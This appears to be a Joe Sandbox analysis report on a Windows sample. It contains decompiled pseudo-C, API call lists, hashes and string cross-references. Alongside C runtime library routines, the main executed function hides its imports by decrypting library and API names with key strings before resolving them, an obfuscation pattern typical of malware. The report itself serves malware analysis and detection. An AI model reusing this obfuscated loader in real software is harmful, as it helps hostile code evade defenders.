Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 10d8517840b5b446268965ad56c4c889db855a4069125d5178bfeeefa35e5843
Instruction ID: 5a5bae7eba565f84f3d3d1160f5bf8283b3b9ca8221d76c57b135aeccd9892c1
Opcode Fuzzy Hash: 10d8517840b5b446268965ad56c4c889db855a4069125d5178bfeeefa35e5843
Instruction Fuzzy Hash: 64F06D71A447109BD660FF669802BCD72A0AF007A9F14455FE090A76C2CB7CAAC08A5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C290 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 245
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040C290(void* __ebx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, char* _a28, intOrPtr _a32) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				char _v48;
				char* _v52;
				intOrPtr _v56;
				char _v60;
				char _v68;
				char _v76;
				char _v84;
				char _v92;
				char _v96;
				intOrPtr _v100;
				char _v104;
				intOrPtr _t123;
				intOrPtr _t128;
				intOrPtr* _t134;
				intOrPtr* _t144;
				intOrPtr* _t149;
				intOrPtr* _t153;
				void* _t154;
				void* _t174;
				intOrPtr _t195;
				void* _t250;
				void* _t251;

				_t174 = __ebx;
				_t123 = E0040CC00(__eflags, E00409740(_a20,  &_v60));
				_t251 = _t250 + 4;
				_v12 = _t123;
				E00409670( &_v60);
				E0040CA90(_v12,  &_v48);
				if( *_a28 == 0x2b ||  *_a28 == 0x2d) {
					_v100 = 1;
				} else {
					if( *_a28 != 0x30 ||  *((char*)(_a28 + 1)) != 0x78 &&  *((char*)(_a28 + 1)) != 0x58) {
						_v96 = 0;
					} else {
						_v96 = 2;
					}
					_v100 = _v96;
				}
				_v16 = _v100;
				if( *((char*)(E00409E60( &_v48))) == 0x7f ||  *((char*)(E00409E60( &_v48))) <= 0) {
					L18:
					_t128 = E0040ABD0(_a20);
					__eflags = _t128;
					if(_t128 <= 0) {
						L21:
						_v104 = 0;
						L22:
						_v20 = _v104;
						_v8 = E00409720(_a20) & 0x000001c0;
						__eflags = _v8 - 0x40;
						if(_v8 == 0x40) {
							L25:
							__eflags = _v8 - 0x100;
							if(_v8 == 0x100) {
								_t144 = E0040C8A0(_a4,  &_v76, _a12, _a16, _a28, _v16);
								_a12 =  *_t144;
								_a16 =  *((intOrPtr*)(_t144 + 4));
								_a28 = _a28 + _v16;
								_t195 = _a32 - _v16;
								__eflags = _t195;
								_a32 = _t195;
								_t149 = E0040C5B0(_a4,  &_v84, _a12, _a16, _a24 & 0x000000ff, _v20);
								_t251 = _t251 + 0x30;
								_a12 =  *_t149;
								_a16 =  *((intOrPtr*)(_t149 + 4));
								_v20 = 0;
							}
							L27:
							_t134 = E0040C910(_a4,  &_v92, _a12, _a16, _a28, _a32, E0040CA70(_v12) & 0x000000ff);
							_a12 =  *_t134;
							_a16 =  *((intOrPtr*)(_t134 + 4));
							E0040ABF0(_a20, 0);
							E0040C5B0(_a4, _a8, _a12, _a16, _a24 & 0x000000ff, _v20);
							E00409490( &_v48);
							return _a8;
						}
						__eflags = _v8 - 0x100;
						if(_v8 == 0x100) {
							goto L25;
						}
						_t153 = E0040C5B0(_a4,  &_v68, _a12, _a16, _a24 & 0x000000ff, _v20);
						_t251 = _t251 + 0x18;
						_a12 =  *_t153;
						_a16 =  *((intOrPtr*)(_t153 + 4));
						_v20 = 0;
						goto L27;
					}
					_t154 = E0040ABD0(_a20);
					__eflags = _t154 - _a32;
					if(_t154 <= _a32) {
						goto L21;
					}
					_v104 = E0040ABD0(_a20) - _a32;
					goto L22;
				} else {
					_v52 = E00409E60( &_v48);
					_v56 = _a32;
					while( *_v52 != 0x7f &&  *_v52 > 0 &&  *_v52 < _v56 - _v16) {
						_v56 = _v56 -  *_v52;
						E004115C3(_t174, _a28 + _v56 + 1, _a32 + 1 - _v56, _a28 + _v56, _a32 + 1 - _v56);
						_t251 = _t251 + 0x10;
						 *((char*)(_a28 + _v56)) = 0;
						_a32 = _a32 + 1;
						if( *((char*)(_v52 + 1)) > 0) {
							_v52 = _v52 + 1;
						}
					}
					goto L18;
				}
			}

0x0040c290
0x0040c2a3
0x0040c2a8
0x0040c2ab
0x0040c2b1
0x0040c2bd
0x0040c2cb
0x0040c313
0x0040c2d8
0x0040c2e1
0x0040c304
0x0040c2fb
0x0040c2fb
0x0040c2fb
0x0040c30e
0x0040c30e
0x0040c31d
0x0040c32e
0x0040c3e8
0x0040c3eb
0x0040c3f0
0x0040c3f2
0x0040c411
0x0040c411
0x0040c418
0x0040c41b
0x0040c42b
0x0040c42e
0x0040c432
0x0040c472
0x0040c472
0x0040c479
0x0040c493
0x0040c4a0
0x0040c4a3
0x0040c4ac
0x0040c4b2
0x0040c4b2
0x0040c4b5
0x0040c4d1
0x0040c4d6
0x0040c4de
0x0040c4e1
0x0040c4e4
0x0040c4e4
0x0040c4eb
0x0040c50f
0x0040c51c
0x0040c51f
0x0040c527
0x0040c545
0x0040c550
0x0040c55b
0x0040c55b
0x0040c434
0x0040c43b
0x00000000
0x00000000
0x0040c456
0x0040c45b
0x0040c463
0x0040c466
0x0040c469
0x00000000
0x0040c469
0x0040c3f7
0x0040c3fc
0x0040c3ff
0x00000000
0x00000000
0x0040c40c
0x00000000
0x0040c347
0x0040c34f
0x0040c355
0x0040c358
0x0040c38c
0x0040c3b5
0x0040c3ba
0x0040c3c3
0x0040c3cc
0x0040c3d8
0x0040c3e0
0x0040c3e0
0x0040c3e3
0x00000000
0x0040c358

APIs

Part of subcall function 00409740: std::locale::locale.LIBCPMTD ref: 00409751

Part of subcall function 0040CC00: std::_Lockit::_Lockit.LIBCPMT ref: 0040CC0B
Part of subcall function 0040CC00: int.LIBCPMTD ref: 0040CC1D

Part of subcall function 00409670: std::locale::facet::_Decref.LIBCPMTD ref: 00409686

_memmove_s.LIBCMT ref: 0040C3B5
std::ios_base::width.LIBCPMTD ref: 0040C527

Strings

@, xrefs: 0040C42E

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: DecrefLockitLockit::__memmove_sstd::_std::ios_base::widthstd::locale::facet::_std::locale::locale
String ID: @
API String ID: 1804941696-2766056989
Opcode ID: 68665c2c79899c0f9809039a2e2ebb936e8740245e2eb484cbdc8940df9e5578
Instruction ID: 9de5b7c1b51c386f7f5146434253dbf19827939b652b356a934cd329e8578b8f
Opcode Fuzzy Hash: 68665c2c79899c0f9809039a2e2ebb936e8740245e2eb484cbdc8940df9e5578
Instruction Fuzzy Hash: 4FA109B1904258DFCB04DF98D9D09EE7BB6BF89304F14826EF919A7291D738AD01CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00412DE7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E00412DE7(void* __ebx, void* __edx, void* __edi, intOrPtr* __esi, void* __eflags) {
				intOrPtr _t17;
				intOrPtr* _t28;
				void* _t29;

				_t30 = __eflags;
				_t28 = __esi;
				_t27 = __edi;
				_t26 = __edx;
				_t19 = __ebx;
				 *((intOrPtr*)(__edi - 4)) =  *((intOrPtr*)(_t29 - 0x24));
				E0040FA0D(__ebx, __edx, __edi, __esi, __eflags,  *((intOrPtr*)(_t29 - 0x28)));
				 *((intOrPtr*)(E00416B12(__ebx, __edx, __edi, __eflags) + 0x88)) =  *((intOrPtr*)(_t29 - 0x2c));
				_t17 = E00416B12(_t19, _t26, _t27, _t30);
				 *((intOrPtr*)(_t17 + 0x8c)) =  *((intOrPtr*)(_t29 - 0x30));
				if( *__esi == 0xe06d7363 &&  *((intOrPtr*)(__esi + 0x10)) == 3) {
					_t17 =  *((intOrPtr*)(__esi + 0x14));
					if(_t17 == 0x19930520 || _t17 == 0x19930521 || _t17 == 0x19930522) {
						if( *((intOrPtr*)(_t29 - 0x34)) == 0) {
							_t37 =  *((intOrPtr*)(_t29 - 0x1c));
							if( *((intOrPtr*)(_t29 - 0x1c)) != 0) {
								_t17 = E0040F9E6(_t37,  *((intOrPtr*)(_t28 + 0x18)));
								_t38 = _t17;
								if(_t17 != 0) {
									_push( *((intOrPtr*)(_t29 + 0x10)));
									_push(_t28);
									return E00412B6C(_t38);
								}
							}
						}
					}
				}
				return _t17;
			}

0x00412de7
0x00412de7
0x00412de7
0x00412de7
0x00412de7
0x00412dea
0x00412df0
0x00412dfe
0x00412e04
0x00412e0c
0x00412e18
0x00412e20
0x00412e28
0x00412e3c
0x00412e3e
0x00412e42
0x00412e47
0x00412e4d
0x00412e4f
0x00412e51
0x00412e54
0x00000000
0x00412e5b
0x00412e4f
0x00412e42
0x00412e3c
0x00412e28
0x00412e5c

APIs

Part of subcall function 0040FA0D: __getptd.LIBCMT ref: 0040FA13
Part of subcall function 0040FA0D: __getptd.LIBCMT ref: 0040FA23

__getptd.LIBCMT ref: 00412DF6

Part of subcall function 00416B12: __getptd_noexit.LIBCMT ref: 00416B15
Part of subcall function 00416B12: __amsg_exit.LIBCMT ref: 00416B22

__getptd.LIBCMT ref: 00412E04

Strings

csm, xrefs: 00412E12

Memory Dump Source

Source File: 00000000.00000002.237200995.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237197038.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237217659.0000000000423000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237226551.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.237243731.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xGSkelSjdu.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 17c744ea412a3342331db4759bde9657b38d9361f652d3059a86a5e7396d72fd
Instruction ID: 3171f8c921c8418efbb5964dba85402df5241adbbd8d2daf60210b4966eff8a8
Opcode Fuzzy Hash: 17c744ea412a3342331db4759bde9657b38d9361f652d3059a86a5e7396d72fd
Instruction Fuzzy Hash: 6A0178398003029ACF349F21D660AEFB7B4AF10311F14552FE484D6691CBB899E5CF48

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: AppLaunch.exePID: 2228, Parent PID: 4304COMMON

Execution Graph

Execution Coverage:	69.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	47.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	30

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00401000 Relevance: 412.2, APIs: 109, Strings: 126, Instructions: 984
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00401000(void* __eflags) {
				struct HINSTANCE__* _v8;
				struct HINSTANCE__* _v12;
				void* __ecx;
				signed int _t6;
				struct HINSTANCE__* _t136;
				struct HINSTANCE__* _t146;
				_Unknown_base(*)()* _t178;
				CHAR* _t197;
				CHAR* _t199;
				CHAR* _t215;
				signed int _t223;
				struct HINSTANCE__* _t227;
				struct HINSTANCE__* _t228;
				struct HINSTANCE__* _t229;
				struct HINSTANCE__* _t561;
				void* _t562;
				struct HINSTANCE__* _t565;
				struct HINSTANCE__* _t566;
				struct HINSTANCE__* _t567;
				struct HINSTANCE__* _t568;

				_push(_t231);
				_t6 = LoadLibraryA(E004158D8(0x420074, "e54b9cf921304ce7", 0xc));
				_t565 = _t6;
				if(_t565 != 0) {
					 *0x423038 = GetProcAddress(_t565, E004158D8(0x420098, "f0e7822b993f3d51", 0xc));
					GetProcAddress(_t565, E004158D8(0x4200bc, "0e354f2ca7fcf772", 0x18));
					 *0x423158 = GetProcAddress(_t565, E004158D8(0x4200ec, "08bf9ab7e225d359", 0x17));
					 *0x423190 = GetProcAddress(_t565, E004158D8(0x420118, "e3b53c0dd786c707", 8));
					 *0x42313c = GetProcAddress(_t565, E004158D8(0x420138, "6635566f40f70ab1", 0xb));
					 *0x4230d8 = GetProcAddress(_t565, E004158D8(0x420158, "3e7370ea5e5ef85d", 0xa));
					 *0x423040 = GetProcAddress(_t565, E004158D8(0x420178, "720cdb29080a2e5d", 0xb));
					 *0x423024 = GetProcAddress(_t565, E004158D8(0x420198, "3e94e58f8310880e", 0x16));
					 *0x4230d0 = GetProcAddress(_t565, E004158D8(0x4201c4, "e80ff3b3fc295a21", 0xe));
					 *0x423050 = GetProcAddress(_t565, E004158D8(0x4201e8, "eb88de296550d642", 8));
					 *0x423084 = GetProcAddress(_t565, E004158D8("k]X", "989d9feed46831cc", 8));
					 *0x423088 = GetProcAddress(_t565, E004158D8("_GMKYRZc", "349957441f0304ac", 8));
					 *0x4230e4 = GetProcAddress(_t565, E004158D8(0x420248, "2a2ee099a9507579", 9));
					 *0x4230d4 = GetProcAddress(_t565, E004158D8(0x420268, "897b12c7da425da7", 0x14));
					 *0x42309c = GetProcAddress(_t565, E004158D8(0x420294, "15ec498da65f2064", 8));
					 *0x4230b8 = GetProcAddress(_t565, E004158D8(0x4202b4, "821a50afd2429518", 0xb));
					 *0x4230b0 = GetProcAddress(_t565, E004158D8(0x4202d4, "3987992bb60d8375", 0xc));
					 *0x423144 = GetProcAddress(_t565, E004158D8("\"_\nU(", "d6d1feffcaaffcf1", 0xd));
					 *0x42301c = GetProcAddress(_t565, E004158D8(0x42031c, "3e81a0ea63606955", 0xe));
					 *0x423104 = GetProcAddress(_t565, E004158D8(0x420340, "048211605c0d7bde", 0xe));
					 *0x423148 = GetProcAddress(_t565, E004158D8(0x420364, "a8ccef3015fd251b", 0xb));
					 *0x423164 = GetProcAddress(_t565, E004158D8(0x420384, "7dbae391788715e9", 0xa));
					 *0x4230e0 = GetProcAddress(_t565, E004158D8(0x4203a4, "7421a3695e91c224", 0x13));
					 *0x423090 = GetProcAddress(_t565, E004158D8(0x4203cc, "437cfe47e8e7048b", 0xb));
					 *0x423044 = GetProcAddress(_t565, E004158D8(0x4203ec, "517fe1f1b1e2e46b", 0x11));
					 *0x423028 = GetProcAddress(_t565, E004158D8(0x420414, "2e851f4c476b53e2", 0xb));
					 *0x423100 = GetProcAddress(_t565, E004158D8(0x420434, "7c104ea6ace2b4e4", 0xc));
					 *0x423108 = GetProcAddress(_t565, E004158D8(0x420458, "7b3128da9c9380da", 0x18));
					 *0x4230a4 = GetProcAddress(_t565, E004158D8(0x420488, "6c5cc24bd4375902", 0xe));
					 *0x423030 = GetProcAddress(_t565, E004158D8(0x4204ac, "d67f195430509d94", 0x14));
					 *0x423124 = GetProcAddress(_t565, E004158D8(0x4204d8, "2d42fb67f3762e27", 0xd));
					 *0x42305c = GetProcAddress(_t565, E004158D8(0x4204fc, "728e48e23bc2a06b", 0xb));
					 *0x423048 = GetProcAddress(_t565, E004158D8("*\rSV]\"[Y_W", "fb071c750450965d", 0xa));
					 *0x423110 = GetProcAddress(_t565, E004158D8(0x42053c, "6e5d0e8372d909bc", 9));
					 *0x42315c = GetProcAddress(_t565, E004158D8(0x42055c, "60eeb3dd58d90b79", 0x17));
					 *0x42317c = GetProcAddress(_t565, E004158D8(0x420588, "f4c7823e38b08e21", 9));
					 *0x42306c = GetProcAddress(_t565, E004158D8(0x4205a8, "685ad9d71facbafb", 0x12));
					 *0x423080 = GetProcAddress(_t565, E004158D8(0x4205d0, "ee975f83bb6427df", 8));
					GetProcAddress(_t565, E004158D8(0x4205f0, "a59fe9ffca55cc7e", 5));
					 *0x4230f4 = GetProcAddress(_t565, E004158D8(0x42060c, "615b36d0eb1f42c1", 0xd));
					 *0x4230c4 = GetProcAddress(_t565, E004158D8(0x420630, "736ffe089b28daa9", 9));
					 *0x423078 = GetProcAddress(_t565, E004158D8(0x420650, "5a9e57a7a1abbe0f", 0xd));
					 *0x4230f0 = GetProcAddress(_t565, E004158D8(0x420674, "5a69b60e5fcf7e54", 0xb));
					 *0x423008 = GetProcAddress(_t565, E004158D8(0x420694, "c90f42cc3b43f01e", 9));
					 *0x4230a8 = GetProcAddress(_t565, E004158D8(0x4206b4, "861a3f7275aa9a79", 0x13));
					 *0x423074 = GetProcAddress(_t565, E004158D8(0x4206dc, "bcd9dca97bb9f9d0", 9));
					 *0x423094 = GetProcAddress(_t565, E004158D8(0x4206fc, "dce31d140724922e", 0x18));
					GetProcAddress(_t565, E004158D8(0x42072c, "d6c9abc40ce23f37", 8));
					 *0x423168 = GetProcAddress(_t565, E004158D8(0x42074c, "c16f5b60373fad42", 0x12));
					 *0x423140 = GetProcAddress(_t565, E004158D8(0x420774, "ad32fd7bc246b262", 0x17));
					_t566 = LoadLibraryA(E004158D8(0x4207a0, "1c86d1282e807f6a", 0xb));
					 *0x423134 = GetProcAddress(_t566, E004158D8(0x4207c0, "8a13c7ce91d40f99", 0xe));
					 *0x423138 = GetProcAddress(_t566, E004158D8("5FD E@n", "f26c599f744bfe5c", 7));
					GetProcAddress(_t566, E004158D8("cDG6LBqn", "005e808920686399", 8));
					 *0x423184 = GetProcAddress(_t566, E004158D8(0x420820, "8caabc9bccdd3cab", 7));
					 *0x423004 = GetProcAddress(_t566, E004158D8(0x42083c, "2370443441f56e33", 0xc));
					 *0x4230dc = GetProcAddress(_t566, E004158D8("eAEbt\tGo", "65707a581b778a90", 8));
					GetProcAddress(_t566, E004158D8(0x420880, "777bcc3e0ea7eb3c", 9));
					 *0x423070 = GetProcAddress(_t566, E004158D8(0x4208a0, "59a086c67b825c7e", 9));
					 *0x423010 = GetProcAddress(_t566, E004158D8(0x4208c0, "a13b7dcc8d946da3", 7));
					GetProcAddress(_t566, E004158D8(0x4208dc, "4902b32685544d16", 0xd));
					_t567 = LoadLibraryA(E004158D8(0x420900, "d330b7317885168b", 9));
					GetProcAddress(_t567, E004158D8(0x420920, "1e8d85797ccbd640", 0xc));
					 *0x423188 = GetProcAddress(_t567, E004158D8(0x420944, "4a307764e941e11d", 0x10));
					_t136 = LoadLibraryA(E004158D8(0x42096c, "737422efdc50e030", 0xb)); // executed
					_t568 = _t136;
					_t561 = LoadLibraryA(E004158D8(0x42098c, "c05a35071306461e", 0xb));
					_v8 = LoadLibraryA(E004158D8(0x4209ac, "3c4be0b4ae6d8491", 0xa));
					_t227 = LoadLibraryA(E004158D8(0x4209cc, "79adb0569b2f6d0d", 0xc));
					LoadLibraryA(E004158D8(0x4209f0, "a3003916bc143627", 0xa)); // executed
					_t146 = LoadLibraryA(E004158D8(0x420a10, "228f8456171b2492", 0xb)); // executed
					_v12 = _t146;
					GetProcAddress(_t568, E004158D8(0x420a30, "08d60362c3411607", 0xe));
					 *0x4230b4 = GetProcAddress(_t568, E004158D8(0x420a54, "cbad61bfdd173b01", 0x10));
					GetProcAddress(_t568, E004158D8("*XE", "c61e0546050b7916", 0x13));
					 *0x42310c = GetProcAddress(_t568, E004158D8(0x420aa4, "904a019e5b46d960", 0x10));
					GetProcAddress(_t568, E004158D8(0x420acc, "d8763edc297993c5", 0xe));
					 *0x423068 = GetProcAddress(_t568, E004158D8(0x420af0, "315d0b77784963a0", 0x13));
					 *0x423178 = GetProcAddress(_t568, E004158D8(0x420b18, "696d41a90c3a75d3", 0x10));
					 *0x42316c = GetProcAddress(_t568, E004158D8(0x420b40, "c8608f3f8f17cc56", 0x12));
					 *0x423120 = GetProcAddress(_t568, E004158D8(0x420b68, "e3c2f32f8621435b", 0xd));
					 *0x423014 = GetProcAddress(_t568, E004158D8(0x420b8c, "71e44b9a08940b6d", 0x10));
					 *0x4230f8 = GetProcAddress(_t568, E004158D8(0x420bb4, "a4c5094673227c85", 0x10));
					GetProcAddress(_t568, E004158D8(0x420bdc, "54d3956afb9bd7a9", 0x10));
					 *0x423018 = GetProcAddress(_t561, E004158D8(0x420c04, "24689dedcfd7a5c9", 0xd));
					 *0x42318c = GetProcAddress(_t561, E004158D8(0x420c28, "a52ff5975246cc73", 0x10));
					 *0x4230c0 = GetProcAddress(_t561, E004158D8(0x420c50, "8ee28c03e29c9415", 0x17));
					_t178 = GetProcAddress(_t227, E004158D8(0x420c7c, "82927cf03a4ae5e5", 0x16));
					_t562 = 0x10;
					 *0x423058 = _t178;
					 *0x42311c = GetProcAddress(_t227, E004158D8(0x420ca8, "1080694385281ad5", _t562));
					 *0x4230bc = GetProcAddress(_t227, E004158D8(0x420cd0, "9bb7934d49eae532", 0x11));
					 *0x4230a0 = GetProcAddress(_t227, E004158D8(0x420cf8, "7fc47133483ed37b", 0xd));
					 *0x423064 = GetProcAddress(_t227, E004158D8(0x420d1c, "1a1ec3c71daf2f83", 0xb));
					 *0x423034 = GetProcAddress(_t227, E004158D8(0x420d3c, "ac614900d152de0e", _t562));
					 *0x423174 = GetProcAddress(_t227, E004158D8(0x420d64, "59b6cee9d5a8cf29", 0xc));
					 *0x423098 = GetProcAddress(_t227, E004158D8(0x420d88, "777d33ee45563717", 0xd));
					 *0x4230cc = GetProcAddress(_t227, E004158D8(0x420dac, "2fbeef604cf19daa", _t562));
					 *0x42302c = GetProcAddress(_t227, E004158D8("$]D5V\t", "c80a9bee8b95216d", 0x13));
					_t197 = E004158D8(0x420dfc, "2ca5f6ce1e9d858b", 0x17); // executed
					 *0x423198 = GetProcAddress(_t227, _t197);
					_t199 = E004158D8(0x420e28, "0ce9c736e34d498e", 0xa);
					_t228 = _v8;
					GetProcAddress(_t228, _t199);
					 *0x42312c = GetProcAddress(_t228, E004158D8(0x420e48, "b27bacbe24df7396", 0x13));
					 *0x423118 = GetProcAddress(_t228, E004158D8(0x420e70, "c2dc716a55864127", 0xd));
					 *0x423180 = GetProcAddress(_t228, E004158D8("#T@\'{", "d14c8f65a9981206", 5));
					 *0x42314c = GetProcAddress(_t228, E004158D8(0x420eb0, "57d2bd1be10ab87c", _t562));
					 *0x42304c = GetProcAddress(_t228, E004158D8(0x420ed8, "d691ea59becf3335", _t562));
					 *0x4230ec = GetProcAddress(_t228, E004158D8(0x420f00, "c0b98de64808eeb3", 9));
					 *0x4230e8 = GetProcAddress(_t228, E004158D8(0x420f20, "9bb1aff579b51c84", 9));
					_t215 = E004158D8(0x420f40, "1ca01b18a1064ad9", 0x14);
					_t229 = _v12;
					 *0x42303c = GetProcAddress(_t229, _t215);
					 *0x423154 = GetProcAddress(_t229, E004158D8(0x420f6c, "306ff226bbc4bc52", 0x14));
					 *0x423020 = GetProcAddress(_t229, E004158D8(0x420f98, "1e400e67343579f5", 0x14));
					 *0x4230ac = GetProcAddress(_t229, E004158D8(0x420fc4, "5368b9064977bcb6", 0x12));
					_t223 = 0;
				} else {
					_t223 = _t6 | 0xffffffff;
				}
				return _t223;
			}

0x00401004
0x00401020
0x00401022
0x00401026
0x00401054
0x00401066
0x00401085
0x004010a0
0x004010bb
0x004010d6
0x004010f1
0x0040110c
0x00401127
0x00401142
0x0040115d
0x00401178
0x00401193
0x004011ae
0x004011c9
0x004011e4
0x004011ff
0x0040121a
0x00401235
0x00401250
0x0040126b
0x00401286
0x004012a1
0x004012bc
0x004012d7
0x004012f2
0x0040130d
0x00401328
0x00401343
0x0040135e
0x00401379
0x00401394
0x004013af
0x004013ca
0x004013e5
0x00401400
0x0040141b
0x00401436
0x00401448
0x00401467
0x00401482
0x0040149d
0x004014b8
0x004014d3
0x004014e7
0x00401509
0x00401524
0x00401536
0x00401555
0x00401570
0x0040158f
0x004015a2
0x004015bd
0x004015cf
0x004015ee
0x00401609
0x00401624
0x00401636
0x00401655
0x00401670
0x00401682
0x004016a5
0x004016af
0x004016ce
0x004016df
0x004016ed
0x00401704
0x0040171c
0x00401739
0x00401742
0x0040175b
0x00401768
0x00401778
0x0040179f
0x004017b1
0x004017d8
0x004017ea
0x00401811
0x00401830
0x0040184f
0x0040186e
0x0040188d
0x004018ac
0x004018c4
0x004018e3
0x004018fe
0x00401919
0x0040192b
0x0040192f
0x00401936
0x00401951
0x0040196c
0x00401987
0x004019a1
0x004019bc
0x004019d7
0x004019f1
0x00401a0c
0x00401a27
0x00401a31
0x00401a42
0x00401a4c
0x00401a51
0x00401a57
0x00401a76
0x00401a91
0x00401aab
0x00401ac5
0x00401ae0
0x00401afb
0x00401b16
0x00401b20
0x00401b25
0x00401b34
0x00401b4f
0x00401b6a
0x00401b7e
0x00401b83
0x00401028
0x00401028
0x00401028
0x00401b89

APIs

Part of subcall function 004158D8: RealDriveType.SHELL32(22D3CD25,00000000), ref: 004158F5
Part of subcall function 004158D8: PathIsSlowW.SHELL32(00000000,00000000), ref: 004158FF
Part of subcall function 004158D8: RealDriveType.SHELL32(7D6DCBAA,00000000), ref: 00415907
Part of subcall function 004158D8: RealDriveType.SHELL32(331CEC64,00000000), ref: 0041590F
Part of subcall function 004158D8: RealDriveType.SHELL32(330827A6,00000000), ref: 00415917
Part of subcall function 004158D8: RealDriveType.SHELL32(BEA775AA,00000000), ref: 0041591F
Part of subcall function 004158D8: PathIsSlowW.SHELL32(00000000,00000000), ref: 00415923
Part of subcall function 004158D8: PathIsSlowW.SHELL32(00000000,00000000), ref: 00415927
Part of subcall function 004158D8: RealDriveType.SHELL32(04D847E1,00000000), ref: 0041592F
Part of subcall function 004158D8: PathIsSlowW.SHELL32(00000000,00000000), ref: 00415933
Part of subcall function 004158D8: RealDriveType.SHELL32(BA802A33,00000000), ref: 0041593B
Part of subcall function 004158D8: RealDriveType.SHELL32(8704A413,00000000), ref: 00415943
Part of subcall function 004158D8: PathIsSlowW.SHELL32(00000000,00000000), ref: 00415947
Part of subcall function 004158D8: RealDriveType.SHELL32(E94F84F6,00000000), ref: 0041594F
Part of subcall function 004158D8: PathIsSlowW.SHELL32(00000000,00000000), ref: 00415953
Part of subcall function 004158D8: RealDriveType.SHELL32(B75484FC,00000000), ref: 0041595B
Part of subcall function 004158D8: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041595F
Part of subcall function 004158D8: RealDriveType.SHELL32(4CA12A45,00000000), ref: 00415967
Part of subcall function 004158D8: RealDriveType.SHELL32(CA644D75,00000000), ref: 0041596F
Part of subcall function 004158D8: RealDriveType.SHELL32(4781CD6B,00000000), ref: 00415977
Part of subcall function 004158D8: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041597B
Part of subcall function 004158D8: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041597F
Part of subcall function 004158D8: RealDriveType.SHELL32(0B1A9874,00000000), ref: 00415987
Part of subcall function 004158D8: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041598B
Part of subcall function 004158D8: RealDriveType.SHELL32(0AEE99A7,00000000), ref: 00415993
Part of subcall function 004158D8: PathIsSlowW.SHELL32(00000000,00000000), ref: 00415997
Part of subcall function 004158D8: RealDriveType.SHELL32(450D64C9,00000000), ref: 0041599F
Part of subcall function 004158D8: RealDriveType.SHELL32(3F2E5280,00000000), ref: 004159A7
Part of subcall function 004158D8: RealDriveType.SHELL32(BE166FAB,00000000), ref: 004159AF

LoadLibraryA.KERNEL32(00000000,755911B0,755BFDB0,?,?,?,0040982F), ref: 00401020
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040104B
GetProcAddress.KERNEL32(00000000,00000000), ref: 00401066
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040107C
GetProcAddress.KERNEL32(00000000,00000000), ref: 00401097
GetProcAddress.KERNEL32(00000000,00000000), ref: 004010B2
GetProcAddress.KERNEL32(00000000,00000000), ref: 004010CD
GetProcAddress.KERNEL32(00000000,00000000), ref: 004010E8
GetProcAddress.KERNEL32(00000000,00000000), ref: 00401103
GetProcAddress.KERNEL32(00000000,00000000), ref: 0040111E
GetProcAddress.KERNEL32(00000000,00000000), ref: 00401139
GetProcAddress.KERNEL32(00000000,00000000), ref: 00401154

Strings

7fc47133483ed37b, xrefs: 00401967
2d42fb67f3762e27, xrefs: 00401359
B, xrefs: 004016A0
777d33ee45563717, xrefs: 004019D2
2370443441f56e33, xrefs: 004015E9
c2dc716a55864127, xrefs: 00401A71
349957441f0304ac, xrefs: 00401158
1ca01b18a1064ad9, xrefs: 00401B11
736ffe089b28daa9, xrefs: 00401462
1e400e67343579f5, xrefs: 00401B4A
3c4be0b4ae6d8491, xrefs: 004016FA
<B, xrefs: 004019A6
3987992bb60d8375, xrefs: 004011DF
ac614900d152de0e, xrefs: 0040199C
c90f42cc3b43f01e, xrefs: 004014B3
615b36d0eb1f42c1, xrefs: 0040144C
2ca5f6ce1e9d858b, xrefs: 00401A22
0B, xrefs: 0040176B
lB, xrefs: 004016D3
685ad9d71facbafb, xrefs: 004013FB
